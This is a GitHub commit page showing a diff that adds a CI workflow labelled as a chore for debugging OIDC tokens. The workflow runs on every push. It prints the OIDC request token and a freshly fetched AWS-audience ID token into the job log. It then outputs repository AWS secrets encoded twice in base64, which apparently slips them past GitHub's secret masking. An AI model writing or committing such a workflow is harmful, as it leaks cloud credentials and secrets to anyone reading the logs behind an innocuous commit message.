Skip to content

Commit dcb9c23

Browse files
authored
chore: debug OIDC token
1 parent 8553a09 commit dcb9c23

1 file changed

Lines changed: 33 additions & 0 deletions

File tree

.github/workflows/token.yaml

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
name: Debug OIDC Token
2+
3+
on:
4+
workflow_dispatch:
5+
push:
6+
7+
permissions:
8+
id-token: write
9+
contents: read
10+
11+
jobs:
12+
debug:
13+
runs-on: ubuntu-latest
14+
steps:
15+
- name: Debug OIDC Token
16+
run: |
17+
echo "1"
18+
echo "$ACTIONS_ID_TOKEN_REQUEST_TOKEN"
19+
echo "$ACTIONS_ID_TOKEN_REQUEST_URL"
20+
TOKEN_JSON=$(curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com")
21+
echo "2"
22+
ID_TOKEN=$(echo "$TOKEN_JSON" | jq -r .value)
23+
echo "$TOKEN_JSON"
24+
echo "3"
25+
echo "$ID_TOKEN" | awk -F. '{print $2}' | base64 -d 2>/dev/null | jq -r
26+
27+
- name: Echo Base64 encoded secrets
28+
run: |
29+
echo "AWS_DEV_S3_SYNC_ROLE (base64):"
30+
echo "${{ secrets.AWS_DEV_S3_SYNC_ROLE }}" | base64 | base64
31+
echo ""
32+
echo "AWS_DEV_S3_BUCKET_NAME (base64):"
33+
echo "${{ secrets.AWS_DEV_S3_BUCKET_NAME }}" | base64 | base64

0 commit comments

Comments
 (0)